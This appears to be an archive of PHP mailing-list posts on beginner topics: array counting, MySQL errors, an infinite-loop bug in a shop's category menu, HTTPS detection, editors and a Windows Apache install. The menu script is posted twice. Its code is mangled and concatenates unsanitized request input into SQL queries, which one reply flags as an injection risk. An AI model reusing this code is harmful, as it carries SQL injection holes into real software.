generally have spaces in them. >> > >> > I was >> trying to use >> > explode. >> print_r(explode('" "', $line); >> > >> > Any help >> > would be appreciated. >> > thanks, >> > Curtis >> > >
[PHP] stupid array question
I have the following code which should increment the value of the array $iplist if there is a value there. When I walk the array at the end, all the values = 1. What am i doing wrong? --Curtis while (!feof($INPUTFILE)) { $chunks = fgetcsv($INPUTFILE, " ", '"'); $firstpart = explode(" ", $chunks[0]); $ipaddress = $firstpart[0]; $agent = $chunks[4]; // print (stripos($agent, "compatible; MSIE 6.0; Windows NT 5.1; SV1")."\n"); if (stripos($agent, "compatible; MSIE 6.0; Windows NT 5.1; SV1") > 0) { $iplist[$ipaddress]++; //print("$ipaddress\t$agent\n"); } while (list($key, $value) = each($iplist)) { print("$key\t$value\n"); } }
Re: [PHP] mysql error
engine= --C Grega Leskov¹ek wrote: > Can smbd please look at this sentence - I got an error and do not > know how to fix it - I am still very unfamiliar with MYSQL: > > CREATE TABLE log ( idlog int auto_increment not null, imepriimek > varchar(50), clock timestamp, action varchar(30), onfile > varchar(100), filesize float(6,2), uniqueid(idlog) ); > > ERROR 1064 (42000): You have an error in your SQL syntax; check the > manual that corresponds to your MySQL server version for the right > syntax to use near '(idlog) )' at line 1 > > -- When the sun rises I receive and when it sets I forgive -> > http://moj.skavt.net/gleskovs/ > Always in Heart, Grega LeskovÅ¡ek > > -- > PHP General Mailing List (http://www.php.net/) > To unsubscribe, visit: http://www.php.net/unsub.php > >
[PHP] mysql problems
I'm running PHP 5.3.6, Mysql 5.1.51 and Apache 2.2.17 I have code that does a simple mysql_query(); the query on the commandline returns an empty set. when run via PHP and the web server, the page hangs, it never gets to the if (mysql_num_rows($result) > 0) {}. and the queries per second on mysql goes from roughly 4 per second to about 12,000. Does anyone have any ideas? Thanks, Curtis
Re: [PHP] mysql problems
Marc Guay wrote: >> Does anyone have any ideas? > > Sounds like it's getting caught in a loop. Post the whole script for > best results. > It looks like the site is under attack, because I keep seeing the query, "SELECT catagory_parent FROM t_catagories where catagory_ID=" . $_currentCat" where $_currentCat is equal to a value not in the database. The only way that this can happen is if the page is called directly without going through the default page. the script follows. its called leftNav.php _subTotal; $_counter++; } $_cartTotal = "$".number_format($_getSubTotal,2); $_cartCount = $_counter; mysql_close($dbhandle); } tallyCart($_SESSION["u_id"]); ?> You have items in your cart. Cart total: � Go to cart "; //select a database to work with $selected = mysql_select_db("pinetree",$dbhandle2) or die("Could not select examples"); while ($_parent !="0") { $result_2 = mysql_query("SELECT catagory_parent FROM t_catagories where catagory_ID=" .$_parent); $num_rows_2 = mysql_num_rows($result_2); if($num_rows_2 > "0") { while ($row = mysql_fetch_array($result_2)) { $_parent= $row{'catagory_parent'}; $_parents[$counter] = $row{'catagory_parent'}; $counter++; } } } mysql_close($dbhandle2); function getParent($catID, $matchingID){ //$username = "alaric"; $username = "pinetree"; //$password = "removed"; $password = "removed"; //$hostname = "127.0.0.1"; $hostname = "www.superseeds.com"; $_parent="1"; $_currentCat=$catID; $dbhandle2 = mysql_connect($hostname, $username, $password) or die("Unable to connect to MySQL"); //echo "Connected to MySQL"; //select a database to work with $selected = mysql_select_db("pinetree",$dbhandle2) or die("Could not select examples"); while ($_parent !="0") { $result_2 = mysql_query("SELECT catagory_parent FROM t_catagories where catagory_ID=" . $_currentCat); while ($row = mysql_fetch_array($result_2)) { $_parent=$row{'catagory_parent'}; if($row{'catagory_parent'}==$matchingID){ mysql_close($dbhandle2); return true; } } } mysql_close($dbhandle2); return false; } ?> 0){ global $_parents; global $username; global $password; global $hostname; $dbhandle3 = mysql_connect($hostname, $username, $password) or die("Unable to connect to MySQL"); $selected = mysql_select_db("pinetree",$dbhandle3) or die("Could not select examples"); //execute the SQL query and return records if($_parent!="0"){ $result = mysql_query("SELECT catagory_ID, catagory_name, catagory_parent FROM t_catagories where catagory_parent=".$_parent ." ORDER BY catagory_name"); }else{ $result = mysql_query("SELECT catagory_ID, catagory_name, catagory_parent FROM t_catagories where catagory_parent=".$_parent); } //fetch tha data from the database if($_parent=="0"){ echo ""; }else{ if($_style!=""){ echo ""; }else{ echo ""; } } while ($row = mysql_fetch_array($result)) { $_cat_id=$row{'catagory_ID'}; $_match_2="+"; foreach($_parents as $id){ if($id== $_cat_id){ $_match_2="-"; } } if($_cat_id==$_GET["cat"]){ $_match_2="-"; } if($row{'catagory_parent'}=="0"){ echo ""; }else{ if(getRowCount($row{'catagory_ID'})!="0"){ echo ""; echo ""; }else{ echo " "; } } echo "" . $row{'catagory_name'}.""; echo ""; //generateNav($_cat_id); $_match=0; foreach($_parents as $id){ if($id== $_cat_id){ generateNav($_cat_id,""); $_match=1; } } if($_cat_id==$_GET["cat"] && $_match==0){ generateNav($_cat_id,""); }else{ if($row{'catagory_parent'}!="0"){ generateNav($_cat_id,"none"); } } } if($row{'catagory_parent'}=="0"){ echo ""; }else{ echo "";
Re: [PHP] mysql problems
Marc Guay wrote: >> Does anyone have any ideas? > > Sounds like it's getting caught in a loop. Post the whole script for > best results. > It looks like the site is under attack, because I keep seeing the query, "SELECT catagory_parent FROM t_catagories where catagory_ID=" . $_currentCat" where $_currentCat is equal to a value not in the database. The only way that this can happen is if the page is called directly without going through the default page. the script follows. its called leftNav.php _subTotal; $_counter++; } $_cartTotal = "$".number_format($_getSubTotal,2); $_cartCount = $_counter; mysql_close($dbhandle); } tallyCart($_SESSION["u_id"]); ?> You have items in your cart. Cart total: � Go to cart "; //select a database to work with $selected = mysql_select_db("pinetree",$dbhandle2) or die("Could not select examples"); while ($_parent !="0") { $result_2 = mysql_query("SELECT catagory_parent FROM t_catagories where catagory_ID=" .$_parent); $num_rows_2 = mysql_num_rows($result_2); if($num_rows_2 > "0") { while ($row = mysql_fetch_array($result_2)) { $_parent= $row{'catagory_parent'}; $_parents[$counter] = $row{'catagory_parent'}; $counter++; } } } mysql_close($dbhandle2); function getParent($catID, $matchingID){ //$username = "alaric"; $username = "pinetree"; //$password = "removed"; $password = "removed"; //$hostname = "127.0.0.1"; $hostname = "www.superseeds.com"; $_parent="1"; $_currentCat=$catID; $dbhandle2 = mysql_connect($hostname, $username, $password) or die("Unable to connect to MySQL"); //echo "Connected to MySQL"; //select a database to work with $selected = mysql_select_db("pinetree",$dbhandle2) or die("Could not select examples"); while ($_parent !="0") { $result_2 = mysql_query("SELECT catagory_parent FROM t_catagories where catagory_ID=" . $_currentCat); while ($row = mysql_fetch_array($result_2)) { $_parent=$row{'catagory_parent'}; if($row{'catagory_parent'}==$matchingID){ mysql_close($dbhandle2); return true; } } } mysql_close($dbhandle2); return false; } ?> 0){ global $_parents; global $username; global $password; global $hostname; $dbhandle3 = mysql_connect($hostname, $username, $password) or die("Unable to connect to MySQL"); $selected = mysql_select_db("pinetree",$dbhandle3) or die("Could not select examples"); //execute the SQL query and return records if($_parent!="0"){ $result = mysql_query("SELECT catagory_ID, catagory_name, catagory_parent FROM t_catagories where catagory_parent=".$_parent ." ORDER BY catagory_name"); }else{ $result = mysql_query("SELECT catagory_ID, catagory_name, catagory_parent FROM t_catagories where catagory_parent=".$_parent); } //fetch tha data from the database if($_parent=="0"){ echo ""; }else{ if($_style!=""){ echo ""; }else{ echo ""; } } while ($row = mysql_fetch_array($result)) { $_cat_id=$row{'catagory_ID'}; $_match_2="+"; foreach($_parents as $id){ if($id== $_cat_id){ $_match_2="-"; } } if($_cat_id==$_GET["cat"]){ $_match_2="-"; } if($row{'catagory_parent'}=="0"){ echo ""; }else{ if(getRowCount($row{'catagory_ID'})!="0"){ echo ""; echo ""; }else{ echo " "; } } echo "" . $row{'catagory_name'}.""; echo ""; //generateNav($_cat_id); $_match=0; foreach($_parents as $id){ if($id== $_cat_id){ generateNav($_cat_id,""); $_match=1; } } if($_cat_id==$_GET["cat"] && $_match==0){ generateNav($_cat_id,""); }else{ if($row{'catagory_parent'}!="0"){ generateNav($_cat_id,"none"); } } } if($row{'catagory_parent'}=="0"){ echo ""; }else{ echo "";
Re: Re: [PHP] mysql problems
Tim Streater wrote: > On 11 May 2011 at 19:25, Curtis Maurand wrote: > >> $_cartTotal="$0.00"; > > Surely that should be: > > $_cartTotal = "0.00"; Good pickup. I missed that. I didn't write the code, I'm just trying to figure out what's going on. Thanks, I'll look at that. --C
Re: [PHP] mysql problems [SOLVED]
Sean Greenslade wrote: >> > > [MASSIVE SNIP] > > Well, from what I saw while wading through your code, you allow > unsanitized > variables to be concatenated to your queries. Big no-no! For ANY > client-generated variable, always sanitize with mysql_real_escape_string. > In > fact, sanitize all your variables. It can't hurt. > > Also, please don't take a request for your entire code too literally. We > don't like to see pages and pages and pages of code, just the pertinent > bits. > -- > --Zootboy > > Sent from my PC. > Thanks to all, but it was an infinite loop. there was a while ($_parent != "0") { } loop. In the loop the database is queried. If the returned number of rows is greater than 0 then perform then grab a $_parent from the database. At some point, there must be a parent that is = 0 and the loop breaks. However, if the page is called with category number that doesn't exist, then the if/then clause is never true and $_parent never gets set to 0. I simply added and else clause. while ($_parent != 0) { if ($num_rows > 0) { perform some action } else { $_parent = "0"; } } and that solved the problem. Thank you, everyone for your help. Curtis
Re: [PHP] Detecting HTTPS connections under Apache
$_SERVER['HTTPS'] --Curtis On 5/26/2011 3:37 PM, Geoff Shang wrote: Hi, Apologies if this is covered somewhere but I've searched fairly extensively and not found anything. I'm working on an application which has a function for redirecting to a given URL. This is generally used for redirecting after a form has been submitted. Right now it sends an HTTP URL in the redirection, which means it can't work under a secure connection. I'd like to be able to use it over HTTPS but don't want to force people to do this. So ideally I'd like to be able to detect the protocol in use and send the appropriate protocol in the Location header. The problem is that, at least on the system I'm working on, I can't see any way of detecting the protocol. _SERVER["SERVER_SIGNATURE"] and _SERVER["SERVER_ADDR"] both give the port as 80, even if I specify port 443 in the URL. I've seen references to _SERVER["HTTPS"] or something similar but it's not in the output I get from either "print_r ($_SERVER)" or "phpinfo ()". I'm running PHP Version 5.3.3-7+squeeze1 on Apache/2.2.16 (Debian). The machine is an x86-64 VPS running Debian Squeeze. I have full access to the VPS, so if something needs tweeking in Apache (or anything else) then I can do this. Thanks in advance, Geoff. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Convert a PDF to a PNG?
There's an interesting discussion on this page. http://www.linuxquestions.org/questions/linux-software-2/pdf-to-png-converter-57142/ Cheers, Curtis Sean Kenny wrote: > Outside the box a bit, but is there perhaps a web-service that does > this, something like http://www.thumbalizr.com/ but for PDF files. As > long as you had curl or something you would be GTG at that point. > > -Sean- > > > On Thu, Jun 16, 2011 at 1:48 PM, Brian Dunning > wrote: >> I have heard back from Rackspace and ImageMagick is not going to happen >> for the time being, but they say Ghostscript is installed. Is it >> possible to do this completely with GS without ImageMagick? The PDFs are >> text only. >> >> >> On Jun 15, 2011, at 2:28 AM, Richard Quadling wrote: >> >>> I use PDF2PNG as this provides the cleanest output mechanism I've >>> found. But I didn't try GS which, theoretically, should be perfect. >> >> -- >> PHP General Mailing List (http://www.php.net/) >> To unsubscribe, visit: http://www.php.net/unsub.php >> >> > > -- > PHP General Mailing List (http://www.php.net/) > To unsubscribe, visit: http://www.php.net/unsub.php > >
Re: [PHP] Re: Top Posting
Jim Giner wrote: > outlook doesn't offer an option for that. ctrl-END gets you to the bottom of a message.
Re: [PHP] Constants in strings
On 7/6/2011 7:07 AM, Dave Wilson wrote: Output - {XYZ} Attempt 2: Output - {{XYZ}} No luck there. I did encounter one oddity though: Output: PHP Notice: Undefined variable: ABC in /home/wilsond/testScripts/l7.php on line 3 Which appears to mean that PHP is able to pick up the value of the constant and try to access a variable with that name. Any ideas? echo XYZ . "\n"; --Curtis -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] Constants in strings
Yeah, that was my answer and I was rebuked for that. ad...@buskirkgraphics.com wrote: >> -Original Message- >> From: Dave Wilson [mailto:dai_bac...@hotmail.com] >> Sent: Wednesday, July 06, 2011 10:11 AM >> To: php-general@lists.php.net >> Subject: Re: [PHP] Constants in strings >> >> On Wed, 06 Jul 2011 12:56:21 +0100, Stuart Dallas wrote: >> > My guess is that the preceding $ causes PHP to interpret the next >> token >> > "{XYZ}" as a variable or a constant, but without that preceding $ it >> has >> > no way to know you're trying to use a constant. As Curtis points out, >> > the only way to insert a constant into a string is through >> > concatenation. >> > >> > -Stuart >> >> OK. I should have made myself clearer - I was making an observation >> with >> regards to constant parsing in strings rather than looking for advice. >> My >> bad. >> >> My third example showed that "{${XYZ}}" would echo the value of the >> variable called the value of XYZ: >> > define ('XYZ','ABC'); >> >> $ABC="huh!"; >> >> echo "{${XYZ}}\n"; >> ?> >> Output - huh! >> >> We could easily re-write the 'echo' line above to be: >> echo "{${constant('XYZ'}}\n"; >> >> But my example shows that PHP *is* accessing the value of a constant >> without any jiggery-pokery or hacks (e.g. http://www.php.net/manual/en/ >> language.types.string.php#91628) as it is retrieving the value of ABC >> from the XYZ constant and then looking for a variable of that name. >> >> I admit that I'm no C coder but it may be possible (note, the word >> "may") >> that a change of code within the PHP source tree will allow us to use >> something like echo "{{XYZ}}" to access the constant value. >> >> Cheers >> >> Dave >> >> >> -- >> PHP General Mailing List (http://www.php.net/) >> To unsubscribe, visit: http://www.php.net/unsub.php > > > > define('DIR_JAVA', '/js/'); > > When you need to use the JavaScript directory you can do this. > > > There is no true need for the curly brackets to echo out the value of the > constant. > > > > > > > > > > > > -- > PHP General Mailing List (http://www.php.net/) > To unsubscribe, visit: http://www.php.net/unsub.php > >
Re: [PHP] Best editor?
Leonardo wrote: > Dne středa 03 srpna 2011 15:22:44 Matty Sarro napsal(a): >> Hey everyone, >> I am a super newbie just beginning to learn PHP. Awhile ago, I had >> used aptana for dabbling with php and was amazed to find out that it >> had a built in php interpreter so I could do some minor testing >> without having to upload everything to a web server, or have a web >> server locally. Flash forward to now, and it looks like that >> functionality doesn't exist anymore (at least not by default). >> >> So, I'm curious what editors are out there? Are there any out there >> which will let me test PHP files without having to upload everything >> every time I edit it? Any help would be greatly appreciated. Thanks! >> -Matty > The best editor for PHP is Zend Studio cca $300 or open source products > like > Kate(linux), Kwrite(linux), Vim(linux, windows), BlueFish(linux), > Emacs(Linux, > Windows). I'm using the Bluefish for PHP with (XHTML) and NetBeans for > others > programming languages. > Good look. > I'm sorry for my english. Bluefish also runs on Windows.
Re: [PHP] Best editor?
Mike Hansen wrote: >> > I mostly use VIM. However, I did play with PHP Storm, and it's pretty > nice. It also has a plug-in that emulate vi/vim. > > I've used Komodo in the past. It's also good. > I've used and like Quanta Plus (KDE on Linux). I've used Bluefish on Windows and Linux, Notepad++ on Windows, UltraEdit on Windows, NetBeans on windows. Zend Studio on Windows NuSphere PHPEdI have Komodo, but haven't really played with it much. I like UltraEdit, Netbeans, Zend Studio and NuSphere PHP. I've use NuSphere the most. I use Quanta Plus on Linux the most.
Re: RES: [PHP] Installing PHP
try http://localhost/test.php Mateus Almeida wrote: > Yes, I've put the "test.php" in the htdocs. > The server works with an html file, but it doesn’t work with the php. > > -Mensagem original- > De: Bastien [mailto:phps...@gmail.com] > Enviada em: terça-feira, 20 de setembro de 2011 09:04 > Para: Mateus Almeida > Cc: > Assunto: Re: [PHP] Installing PHP > > > > On 2011-09-19, at 5:32 PM, "Mateus Almeida" > wrote: > >> Hello, I'm newbie and I'm trying to install PHP with Apache, but it > doesn't >> work. >> >> Every time I try to run a test I receive the message "Not Found The >> requested URL /php/php-cgi.exe/test.php was not found on this server." >> OR >> (when I try to change some options) "Forbidden You don't have permission > to >> access /php/php-cgi.exe/test.php on this server." >> >> I've tried to copy the recommended configurations from some sites, but >> it >> haven't worked. >> >> The machine runs Windows XP, I'm using an administrator account, no > firewall >> is blocking me, PHP and Apache are the most recent versions. >> >> Thanks in advance. >> > > The files need to go into the htdocs folder of the apache installation. > They > do no go in the php folder at all. > > You can also set the root directory in the httpd.conf file, the apache > config, to place the root of the webserver elsewhere in your filesystem > > Bastien Koert > 905-904-0334 > > > -- > PHP General Mailing List (http://www.php.net/) > To unsubscribe, visit: http://www.php.net/unsub.php > >
Re: RES: RES: [PHP] Installing PHP
ed resources): > > #AddHandler type-map var > > > > # > > # Filters allow you to process content before it is sent to the > client. > > # > > # To parse .shtml files for server-side includes (SSI): > > # (You will also need to add "Includes" to the "Options" directive.) > > # > > #AddType text/html .shtml > > #AddOutputFilter INCLUDES .shtml > > > > > > # > > # The mod_mime_magic module allows the server to use various hints from > the > > # contents of the file itself to determine its type. The MIMEMagicFile > > # directive tells the module where the hint definitions are located. > > # > > #MIMEMagicFile conf/magic > > > > # > > # Customizable error responses come in three flavors: > > # 1) plain text 2) local redirects 3) external redirects > > # > > # Some examples: > > #ErrorDocument 500 "The server made a boo boo." > > #ErrorDocument 404 /missing.html > > #ErrorDocument 404 "/cgi-bin/missing_handler.pl" > > #ErrorDocument 402 http://localhost/subscription_info.html > > # > > > > # > > # MaxRanges: Maximum number of Ranges in a request before > > # returning the entire resource, or 0 for unlimited > > # Default setting is to accept 200 Ranges > > #MaxRanges 0 > > > > # > > # EnableMMAP and EnableSendfile: On systems that support it, > > # memory-mapping or the sendfile syscall is used to deliver > > # files. This usually improves server performance, but must > > # be turned off when serving from networked-mounted > > # filesystems or if support for these functions is otherwise > > # broken on your system. > > # > > #EnableMMAP off > > #EnableSendfile off > > > > # Supplemental configuration > > # > > # The configuration files in the conf/extra/ directory can be > > # included to add extra features or to modify the default configuration of > > # the server, or you may simply copy their contents here and change as > > # necessary. > > > > # Server-pool management (MPM specific) > > #Include conf/extra/httpd-mpm.conf > > > > # Multi-language error messages > > #Include conf/extra/httpd-multilang-errordoc.conf > > > > # Fancy directory listings > > #Include conf/extra/httpd-autoindex.conf > > > > # Language settings > > #Include conf/extra/httpd-languages.conf > > > > # User home directories > > #Include conf/extra/httpd-userdir.conf > > > > # Real-time info on requests and configuration > > #Include conf/extra/httpd-info.conf > > > > # Virtual hosts > > #Include conf/extra/httpd-vhosts.conf > > > > # Local access to the Apache HTTP Server Manual > > #Include conf/extra/httpd-manual.conf > > > > # Distributed authoring and versioning (WebDAV) > > #Include conf/extra/httpd-dav.conf > > > > # Various default settings > > #Include conf/extra/httpd-default.conf > > > > # Secure (SSL/TLS) connections > > #Include conf/extra/httpd-ssl.conf > > # > > # Note: The following must must be present to support > > # starting without SSL on platforms with no /dev/random equivalent > > # but a statically compiled-in mod_ssl. > > # > > > > SSLRandomSeed startup builtin > > SSLRandomSeed connect builtin > > > > > > #BEGIN PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL > > ScriptAlias /php/ "C:/php/" > > Action application/x-httpd-php "C:/php/php-cgi.exe" > > #END PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL > > > > -- > > > > De: Curtis Maurand [mailto:cur...@maurand.com] > Enviada em: terça-feira, 20 de setembro de 2011 11:50 > Para: Mateus Almeida > Cc: 'Bastien'; php-general@lists.php.net > Assunto: Re: RES: [PHP] Installing PHP > > > > > try http://localhost/test.php > > > > Mateus Almeida wrote: >> Yes, I've put the "test.php" in the htdocs. >> The server works with an html file, but it doesn’t work with the php. >> >> -Mensagem original- >> De: Bastien [mailto:phps...@gmail.com] >> Enviada em: terça-feira, 20 de setembro de 2011 09:04 >> Para: Mateus Almeida >> Cc: >> Assunto: Re: [PHP] Installing PHP >> >> >> >> On 2011-09-19, at 5:32 PM, "Mateus Almeida" >> wrote: >> >>> Hello, I'm newbie and I'm trying to install PHP with Apache, but it >> doesn't >>> work. >>> >>> Every time I try to run a test I receive the message "Not Found The >>> requested URL /php/php-cgi.exe/test.php was not found on this server." >>> OR >>> (when I try to change some options) "Forbidden You don't have >>> permission >> to >>> access /php/php-cgi.exe/test.php on this server." >>> >>> I've tried to copy the recommended configurations from some sites, but >>> it >>> haven't worked. >>> >>> The machine runs Windows XP, I'm using an administrator account, no >> firewall >>> is blocking me, PHP and Apache are the most recent versions. >>> >>> Thanks in advance. >>> >> >> The files need to go into the htdocs folder of the apache installation. >> They >> do no go in the php folder at all. >> >> You can also set the root directory in the httpd.conf file, the apache >> config, to place the root of the webserver elsewhere in your filesystem >> >> Bastien Koert >> 905-904-0334 >> >> >> -- >> PHP General Mailing List (http://www.php.net/) >> To unsubscribe, visit: http://www.php.net/unsub.php >> >> > >
Re: [PHP] Image Rotation Script
There are tons of (free) jquery gadgets that do image rotation. All you'd need to do is push the list out to the jquery script. Cheers, Curtis On 10/15/2011 10:50 AM, d...@nkmo.com wrote: We have a simple script which rotates and image to a random value, saves it to a cache directory and displays it. For some reason when I move the script from a Debian box over to the production CentOS machine, it no longer caches any of the images. the rest works, but not the cache. If you could look at it and see if anything jumps out at you, please let me know. install the code below to the directory /angles .htaccess: RewriteEngine on RewriteRule ^rotate_(\d+)(?:_(?:\d+))?.png$ rotate.php?im=$1 rotate.php: Use it by url: http://www.servername.com/angles/rotate_019.png Each time you reload page the angle should rotate to a new position.
Re: [PHP] Executable flag on text files
On 11/8/2011 6:53 AM, Ashley Sheridan wrote: Sorry for this slightly off-topic post and it not being connected to the thread that it originally came from, but I remember Tedd was asking about this. I'd thought that the executable flag on files didn't do anything for things like PHP files, etc, but I've just found something that says otherwise. Seems that in some Linux systems when using the GUI, there is a switch (in Nautilus at least) that will run a text file if it has the executable flag rather than open it in a text editor, which seems to override the default file association behaviour. That's true, especially if there is a bang path statement such as "#!/usr/bin/php" at the top of the file. If you set the executable flag on a php file with the bang path at the top, Linux will happily start php and execute the file. I have lots of little apps and scripts that I've written to work from the command line that way. On top of that, PHP executes so much better than Perl that I don't write much in Perl any more. I just wish PEAR had better documentation. Cheers, Curtis -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Sniping on the List
Robert Cummings wrote: Robert Cummings wrote: > > Given the discussion, I think the following is in order: BAZINGA * 2 And what does any of this have to do with PHP? It's time to end this thread. --Curtis
Re: [PHP] Sniping on the List
On 11/22/2011 7:15 AM, Judson Vaughn wrote: Isn't Eastern time zone minus 5 not plus 5 hours of GMT? Jud It depends upon your point of view. ;-) It's generally understood that EST5EDT is GMT (UTC) -5 because eastern time is 5 hours behind. +5 puts you in India somewhere. Cheers, Curtis -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Howto detect the hostname of the server?
On 11/25/2011 7:35 PM, Simon J Welsh wrote: On 26/11/2011, at 1:14 PM, Andreas wrote: Hi, how could I identify the server the script runs on? I've got a testserver on Windows and a remote system on Linux that need a couple of different settings like IP and port of db-server or folder to store logfiles. I'd like to do something like: if ( $_SERVER['some_key'] = 'my_test_box' ) { $db_host = '1.1.1.1'; $db_port = 1234; } else { $db_host = '2.2.2.2'; $db_port = 4321; } I looked into phpinfo() but haven't found anything helpful, yet. Have I overlooked something or is there another way to identify the server? php_uname('n'); http://php.net/php_uname folks try: $_SERVER['SERVER_NAME'] Cheers, Curtis
Re: [PHP] Finding and reading firefox bookmarks with PHP
It seems to me that the file structure should be in the source code somewhere and you can download that. --C On 11/27/2011 7:28 PM, David McGlone wrote: On Mon, 2011-11-28 at 01:15 +0100, Camilo Sperberg wrote: You can export the bookmarks as a json or html and then read it easily with php but i suspect you want to read the firefox files directly, in which case you can read the sqlite file called places.sqlite More info here: http://support.mozilla.com/en-US/kb/Profiles Sent from my iPhone 5 Beta [Confidential use only] On 28 nov. 2011, at 00:47, David McGlone wrote: Hi all, I am wondering if it's possible to find the bookmarks file in firefox and output the contents on a page with PHP.. I'm wanting to do this so I can use it as my home page. I realized I wasn't very clear with the post after I sent it. I apologize. But you are correct, I was wondering if there was an easy way to just use readfile to read the bookmarks file, but I looks like I'll be having to get the info from the sqllite db instead. (At least that's what I'm thinking at the moment now that I know what file the bookmarks are stored in) -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: Question regarding passwords/security
Store everything in the database in an encrypted form. Stuart Dallas wrote: > On 22 Dec 2011, at 19:34, Paul M Foster wrote: > >> I have concerns that the items in a session buffer can be copied and >> used to spoof legitimate logins. This is harder to do when the info is >> held in a database. > > Storing stuff in a database is no more secure, it simply requires one > single extra step... finding the DB credentials in the source code. Given > that the only way a user could read session data (assuming you're using > the default session handler, i.e. file-based) is if they have access to > those files. > > If they do have access to those files they almost certainly also have > access to your source code (since the web user must be able to read both), > especially if you're using a shared host. If you're using a dedicated > server then you should address the reason you're worried about people > having access to session files first. > > -Stuart > > -- > Stuart Dallas > 3ft9 Ltd > http://3ft9.com/ > -- > PHP General Mailing List (http://www.php.net/) > To unsubscribe, visit: http://www.php.net/unsub.php > >
Re: [PHP] How to find where class is used?
it will be somewhere in php's search path. you'd be better off trying search for a file of the same name. cd /usr/lib/php5 find . -iname "vB_ProfileBlock*" if you have locate installed, try: "locate vB_ProfileBlock" Cheers, Curtis On 1/6/2012 6:11 AM, Dotan Cohen wrote: In a large application that I am tasked with maintaining (vBulletin) there is a particular class that is used: vB_ProfileBlock_VisitorMessaging. I know the file that it is defined in, but I cannot find the file that actually creates a vB_ProfileBlock_VisitorMessaging object. I tried the brute-force grep approach, but the only place where I see the class mentioned is in the class declaration itself: [dev@localhost forum]$ grep -ir "vB_ProfileBlock_VisitorMessaging" * includes/class_profileblock.php:class vB_ProfileBlock_VisitorMessaging extends vB_ProfileBlock I know that this class is used as there is a page that is obviously using it. I have tried playing be-the-PHP-parser with that file, but it goes on to include() about a dozen other files, each of which include() another dozen files! This server does not and cannot have a debugger. What else can I do to find where this class object is created? Thanks. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: RE: RE: [PHP] passing variables to php script
Make sure IIS is not running. That'll cause all kinds of trouble. Tim Streater wrote: > On 13 Jan 2012 at 15:05, David Savage wrote: > >> I open the html file up from a windows explorer window (Q:\asterisk\), >> and so >> IE opens it up, but the problem lies in the fact that I cannot find >> apache >> service running in the background...haven't figured out why yet. The >> "test >> configuration" start menu option (under "configure apache server") just >> displays a console window for a brief moment, then immediately >> disappears. >> The icon I see near my time says "Running none of 1 Apache >> services"So I >> have to get that straightened out first...I believe that's been my >> problem all >> along. > > Well, that's going to be part of it, but it's never going to work if you > open it via Explorer. If you do that, apache won't be involved whether > it's running or not. This will only work if you have IE (or other browser) > open and put http://localhost/your-webpage.html into the browser's address > bar. Further, both the webpage and PHP file need to be in your > document-root. Look in your apache config file for that). > > -- > Cheers -- Tim > > -- > PHP General Mailing List (http://www.php.net/) > To unsubscribe, visit: http://www.php.net/unsub.php
Re: RE: RE: [PHP] passing variables to php script
Tim Streater wrote: > On 13 Jan 2012 at 15:05, David Savage wrote: > >> I open the html file up from a windows explorer window (Q:\asterisk\), >> and so >> IE opens it up, but the problem lies in the fact that I cannot find >> apache >> service running in the background...haven't figured out why yet. The >> "test >> configuration" start menu option (under "configure apache server") just >> displays a console window for a brief moment, then immediately >> disappears. >> The icon I see near my time says "Running none of 1 Apache >> services"So I >> have to get that straightened out first...I believe that's been my >> problem all >> along. > > Well, that's going to be part of it, but it's never going to work if you > open it via Explorer. If you do that, apache won't be involved whether > it's running or not. This will only work if you have IE (or other browser) > open and put http://localhost/your-webpage.html into the browser's address > bar. Further, both the webpage and PHP file need to be in your > document-root. Look in your apache config file for that). Sorry for the top post. Make sure IIS is not running. It'll cause all kinds of trouble.
Re: [PHP] Numeric help needed
On 1/15/2012 8:48 PM, Chris Payne wrote: Hi Jason, I've tried lots of different things, including: echo "" . round(68500, 1000) . " ROUNDED"; thinking that might be it, but i'm stumped This is the example I was given (And have to go by): "If the loan amount is $68500.00, the insurace will be based on $69000.00 as the amount is always rounded up to the next $1000." Maybe i'm just looking at it wrong but i'm stumped. Chris On Sun, Jan 15, 2012 at 8:41 PM, Jason Pruim wrote: Sent from my iPhone On Jan 15, 2012, at 8:25 PM, "Christopher J Payne" wrote: Hi everyone, I am having a hard time with a numerical problem. I need to round some numbers up and I've tried $round($number) and it doesn't work so I'm misunderstanding something. For example, if a user inputs 685000 I need it to round up to 69 or if they input 149560 I need it to round up to 15. What is the correct way to do this as everything I have tried doesn't seem to affect the user inputted figure at all. Anyway help would REALLY be appreciated, I'm sure it's really simple but for the life of me I'm stumped on why it's not working. Maybe it's just a typo in your email but you put a $ infront of round() try removing that and see if it helps. If not are there any error messages that are showing up? http://php.net/manual/en/function.round.php From the page: | |
Re: [PHP] Numeric help needed
On 1/15/2012 9:24 PM, Robert Williams wrote: On Jan 15, 2012, at 19:00, "Simon J Welsh"mailto:si...@welsh.co.nz>> wrote: On 16/01/2012, at 2:48 PM, Chris Payne wrote: "If the loan amount is $68500.00, the insurace will be based on $69000.00 as the amount is always rounded up to the next $1000." The round() function only rounds decimal values. You can use this to emulate rounding to a near power of ten by dividing, rounding, then multiplying again. i.e. echo "" . round(68500/1000) * 1000 . " ROUNDED"; round() rounds floating point which I suppose includes decimals, but decimal tends to have a fixed number of decimal places. float *round* ( float $val [, int $precision= 0 [, int $mode= PHP_ROUND_HALF_UP ]] )
Re: [PHP] php.net problems?
Xavier Del Castillo wrote: > On 01/23/2012 10:28 AM, Donovan Brooke wrote: >> Hi, is anyone else having problems with PHP.net today? >> >> Donovan >> >> > Working fine from here. Do a traceroute to the site, it might an ISP > related problem. > > It came right up for me. --Curtis
Re: [PHP] how to execute Exe file in system
